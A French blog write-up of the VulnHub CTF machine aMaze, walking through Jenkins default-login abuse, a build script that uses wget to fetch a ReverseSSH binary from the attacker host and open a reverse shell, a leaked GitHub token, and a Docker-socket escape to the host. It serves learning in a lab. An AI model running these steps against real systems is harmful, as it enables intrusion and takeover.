Thanks, but no thanks
aMaze est (encore) un CTF que vous pouvez récupérer sur VulnHub.
Il a été créé par Swapneil Kumar Dash et Rajat Mittal (HasHeR).
Ce challenge n’était pas assez compliqué pour être un labyrinthe (a maze) ni famuleux (amazing), la faute à une partie qui est du pure guessing et pourrit tout le plaisir que l’on aurait pu avoir sur ce CTF.
Il y a malheureusement trop de CTF de ce type sur VulnHub et après plus de 115 writeups de CTF je pense être qualifié pour en parler :D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sudo nmap -sCV -T5 -p- 192.168.56.13
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-26 18:23 CET
Nmap scan report for 192.168.56.13
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 c6:ec:1b:db:32:8a:00:7d:2a:1f:0c:5c:db:33:94:20 (RSA)
| 256 9a:fb:b6:6c:64:36:d4:17:8a:7b:00:71:75:e8:b8:be (ECDSA)
|_ 256 fa:97:5f:1b:a4:69:3b:07:56:75:1d:78:a2:f1:82:5f (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.38 (Debian)
8000/tcp open http Jetty 9.2.z-SNAPSHOT
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
Je commence par vérifier les trucs simples comme le serveur vsFTPd dont la version n’est pas connue pour être vulnérable.
On ne trouve aucun fichier sur ce serveur qui autorise une connexion anonyme sans possibilité d’y déposer un fichier.
Sur le port 80 on trouve après énumération deux fichiers PHP, login et logout qui ne semblent pas vulnérables.
Un bruteforce ne vous ménera nulle part à part rendre la VM inutilisable puisque comme souvent les auteurs du CTF n’ont pas pensé à désactiver les logs qui peuvent occuper la totalité de l’espace disque.
Finalement sur le port 8000 on trouve une installation de Jenkins. Cette application web était déjà à l’honneur sur le CTF Jeeves de HackTheBox. Je vous renvoie à ce writeup si vous souhaitez avoir quelques images.
J’ai testé manuellement quelques identifiants et je suis parvenu à me connecter avec jenkins / jenkins.
Après il faut créer un nouveau projet et dans la section Build ajouter une étape de type Exécuter un script shell.
J’avais balancé une simple commande pour exfiltrer l’UID utilisateur et Jenkins n’a pas apprécié le format :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Started by user jenkins
Building in workspace /var/jenkins_home/workspace/yolo
[yolo] $ /bin/sh -xe /tmp/jenkins7189002743414529836.sh
FATAL: command execution failed
java.io.IOException: error=2, No such file or directory
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
at java.lang.ProcessImpl.start(ProcessImpl.java:134)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
Caused: java.io.IOException: Cannot run program "/bin/sh" (in directory "/var/jenkins_home/workspace/yolo"): error=2, No such file or directory
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
at hudson.Proc$LocalProc.<init>(Proc.java:245)
at hudson.Proc$LocalProc.<init>(Proc.java:214)
at hudson.Launcher$LocalLauncher.launch(Launcher.java:850)
at hudson.Launcher$ProcStarter.start(Launcher.java:384)
at hudson.tasks.CommandInterpreter.perform(CommandInterpreter.java:109)
at hudson.tasks.CommandInterpreter.perform(CommandInterpreter.java:66)
at hudson.tasks.BuildStepMonitor$1.perform(BuildStepMonitor.java:20)
at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:735)
at hudson.model.Build$BuildExecution.build(Build.java:206)
at hudson.model.Build$BuildExecution.doRun(Build.java:163)
at hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:490)
at hudson.model.Run.execute(Run.java:1735)
at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)
at hudson.model.ResourceController.execute(ResourceController.java:97)
at hudson.model.Executor.run(Executor.java:405)
Build step 'Execute shell' marked build as failure
Finished: FAILURE
Le logiciel s’attend à voir un script avec le shebang en première ligne. J’ai opté une nouvelle fois pour ReverseSSH :
1
2
3
4
#!/bin/bash
wget "http://192.168.56.1:8000/reverse-sshx64" -O /tmp/reverse-sshx64
chmod 755 /tmp/reverse-sshx64
/tmp/reverse-sshx64 -v -p 2244 192.168.56.1
Une fois connecté on remarque que l’on est dans un Docker (sans quoi ce serait déjà terminé) :
1
2
3
4
root@7b5f8aa938da:/var/jenkins_home/workspace/yolo# id
uid=0(root) gid=0(root) groups=0(root)
root@7b5f8aa938da:/var/jenkins_home/workspace/yolo# ls -a /
. .. .dockerenv bin boot dev docker-java-home etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
This is not the way
En listant les fichiers dans /root je remarque un dossier .git comme quoi le dossier est versionné.
On peut utiliser les commandes Git pour en savoir plus…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@7b5f8aa938da:/root# git log
commit e7045388b6b30739fd29f577903ab778502c4895
Author: swapneil <swapneil.dash2@gmail.com>
Date: Tue Jan 28 15:43:53 2020 +0000
Finally deleted the sensitive data from my box
commit 471a632ca787f2c70e795185050f4da9f2a39432
Author: swapneil <swapneil.dash2@gmail.com>
Date: Tue Jan 28 15:43:08 2020 +0000
this is an intersting commit
root@7b5f8aa938da:/root# git show e7045388b6b30739fd29f577903ab778502c4895
commit e7045388b6b30739fd29f577903ab778502c4895
Author: swapneil <swapneil.dash2@gmail.com>
Date: Tue Jan 28 15:43:53 2020 +0000
Finally deleted the sensitive data from my box
diff --git a/Git?Scope? b/Git?Scope?
deleted file mode 100644
index eafd2fc..0000000
--- a/Git?Scope?
+++ /dev/null
@@ -1,2 +0,0 @@
-I need to delete this token, so no one can access it!
-512fb73b2108f9c882fe3ff559ef4bc9496f4dc2
Ok, on a un token mais pour quoi ? J’ai tenté de le passer dans le formulaire du login.php en POST, en GET, via les entêtes, etc, rien à en tirer !
De plus le répo ne dispose d’aucun remote associé (git remote -v).
J’ai dû chercher une solution sur le web et finalement il fallait utiliser le token sur Github (qui n’était mentionné nulle part). J’ai beau déjà avoir utilisé l’API de Github la solution ne me saurait pas venue naturelement à l’esprit.
On peut obtenir des infos sur le compte lié au token avec la requête suivante :
1
curl -H 'Authorization: token 512fb73b2108f9c882fe3ff559ef4bc9496f4dc2' https://api.github.com/user
Ce qui nous amène à ce profil Github sur lequel se trouve une URL pastebin dans la bio et le paste contient une clé privée SSH.
Vu les méthodes employées par l’administrateur de Pastebin ces dernières années je serais plutôt inquiet si je devais créer un CTF dont la résolution requiert absolument un paste chez eux, ce ne serait pas la première fois qu’un paste normalement conservé à vie se fait éjecter…
Heureusement celui-ci est encore présent. La clé ne nous permet cependant pas de nous connecter sur l’IP externe du CTF. On va donc fouiller un peu dans le réseau Docker.
1
2
3
4
5
6
7
8
9
10
11
12
13
root@7b5f8aa938da:/tmp# ./nmap -sP -T5 172.17.0.3/16
Starting Nmap 7.11 ( https://nmap.org ) at 2021-12-26 17:54 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000041s latency).
MAC Address: 02:42:15:88:1B:A0 (Unknown)
Nmap scan report for 172.17.0.2
Host is up (0.000036s latency).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap scan report for 7b5f8aa938da (172.17.0.3)
Host is up.
L’IP 172.17.0.1 semble correspondre en tout point à l’hôte :
1
2
3
4
5
6
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8000/tcp open unknown
MAC Address: 02:42:15:88:1B:A0 (Unknown)
Sur l’IP 172.17.0.2 en revanche il n’y a qu’un port SSH :
1
22/tcp open ssh
Escalade Alpine
La clé fonctionne pour ce guest et on trouve dans le dossier de root le binaire docker.
Toutefois, la configuration par défaut ne semble pas fonctionner car le socket a été placé à un autre endroit. On peut corriger cela par une simple option.
1
2
3
4
5
6
7
8
root@a97495c67b7e:~/docker# ./docker images ls
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
root@a97495c67b7e:~/docker# find / -name docker.sock
/tmp/docker.sock
root@a97495c67b7e:~/docker# ./docker -H unix:///tmp/docker.sock images ls -a
REPOSITORY TAG IMAGE ID CREATED SIZE
Le ménage a été fait dans les images présentes. Si on veut utiliser la technique classique de création d’un container avec le montage du système de fichier hôte il faut d’abord créer puis rappatrier une image.
1
2
3
4
5
6
$ docker pull alpine:latest
latest: Pulling from library/alpine
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Image is up to date for alpine:latest
docker.io/library/alpine:latest
$ docker save alpine > alpine.tar
J’envoie l’archive vers le premier hôte via sftp sur le tunnel ReverseSSH puis de là le copie avec scp sur le second Docker.
1
2
3
4
5
6
7
8
9
10
11
root@a97495c67b7e:~/docker# ./docker -H unix:///tmp/docker.sock load -i /tmp/alpine.tar
8d3ac3489996: Loading layer [==================================================>] 5.866MB/5.866MB
Loaded image: alpine:latest
root@a97495c67b7e:~/docker# ./docker -H unix:///tmp/docker.sock run -v /:/mnt/fs -it alpine:latest /bin/sh
/ # cd /mnt/fs
/mnt/fs # cd root
/mnt/fs/root # ls
root.txt
/mnt/fs/root # cat root.txt
676d6015094f9ec56284538b48537902
On peut aussi récupérer la clé privée de l’utilisateur root et enfin avoir une connexion sur l’hôte.
1
2
3
4
5
6
7
8
9
10
11
$ ssh -i real_amaze.key root@192.168.56.14
Linux aMaze 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan 28 22:58:37 2020 from 192.168.0.104
root@aMaze:~#
Sous le capot
Sous le capot c’est plutôt brouillon. On retrouve les dockers avec un qui a du servir de test.
1
2
3
4
5
6
7
8
root@aMaze:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
22a4dfc5c4ce alpine:latest "/bin/sh" 2 minutes ago Up 2 minutes wizardly_antonelli
56c50cd29c43 alpine:latest "/bin/sh" 8 minutes ago Exited (0) 3 minutes ago wonderful_lumiere
6a7c97992ec7 alpine:latest "/bin/bash" 8 minutes ago Created jolly_bardeen
a97495c67b7e docker_2 "/bin/sh -c /start.sh" 29 minutes ago Up 29 minutes 22/tcp ssh1
75e790c75269 docker_1 "/bin/tini -- /usr/l…" 29 minutes ago Up 29 minutes 50000/tcp, 0.0.0.0:8000->8080/tcp jenkins1
02fe58910e11 docker_2 "/bin/sh -c /start.sh" 23 months ago Exited (137) 23 months ago pwned
Bizarrement un mot de passe root se retrouve dans les logs.
1
2
3
4
5
6
7
8
9
10
11
root@aMaze:~# docker logs 02fe58910e11
root login password: Ohqu8aibeij9
/usr/lib/python2.7/dist-packages/supervisor/options.py:295: UserWarning: Supervisord is running as root and it is searching for its configuration file in default locations (including its current working directory); you probably want to specify a "-c" argument specifying an absolute path to a configuration file for improved security.
'Supervisord is running as root and it is searching '
2020-01-28 17:34:18,445 CRIT Supervisor running as root (no user in config file)
2020-01-28 17:34:18,445 WARN Included extra file "/etc/supervisor/conf.d/sshd.conf" during parsing
2020-01-28 17:34:18,487 INFO RPC interface 'supervisor' initialized
2020-01-28 17:34:18,487 CRIT Server 'unix_http_server' running without any HTTP authentication checking
2020-01-28 17:34:18,488 INFO supervisord started with pid 11
2020-01-28 17:34:19,490 INFO spawned: 'sshd' with pid 14
2020-01-28 17:34:20,492 INFO success: sshd entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
On a ensuite le mystère de ce port 80… Je ne risquais pas d’y trouver quelque chose :
1
2
3
4
5
6
root@aMaze:/var/www/html1# ls -l
total 16
-rw-r--r-- 1 root root 697 Jan 21 2020 _Is1There2Some3Issue4With5This6File7_.php
-rw-r--r-- 1 root root 3256 Jan 17 2020 login.php
-rw-r--r-- 1 root root 205 Jan 14 2020 logout.php
-rw-r--r-- 1 root root 176 Jan 14 2020 _MaybeYouFoundTheIssue_.php
Sans doute quelque chose que les auteurs ont essayé de faire fonctionner sans succès mais ont oublié de retirer (comme le serveur FTP).
Idem pour la page de login… Indevinable.
1
2
3
4
5
6
7
8
9
10
11
12
13
if ($_POST['username'] == 'IamTheAdmin' &&
$_POST['password'] == 'DoNotTryToBruteForce') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'hackerpoint';
echo 'You have entered valid use name and password';
header("Location: _Is1There2Some3Issue4With5This6File7_.php");
exit;
}else {
$msg = 'Wrong username or password';
}
Quant au token Github, est-il bien protégé ? Heureusement oui, si on récupère les entêtes lors d’une requête sur l’API on voit que le scope associé est en lecture uniquement :
1
x-oauth-scopes: read:user
That’s about it!
Published December 27 2021 at 12:04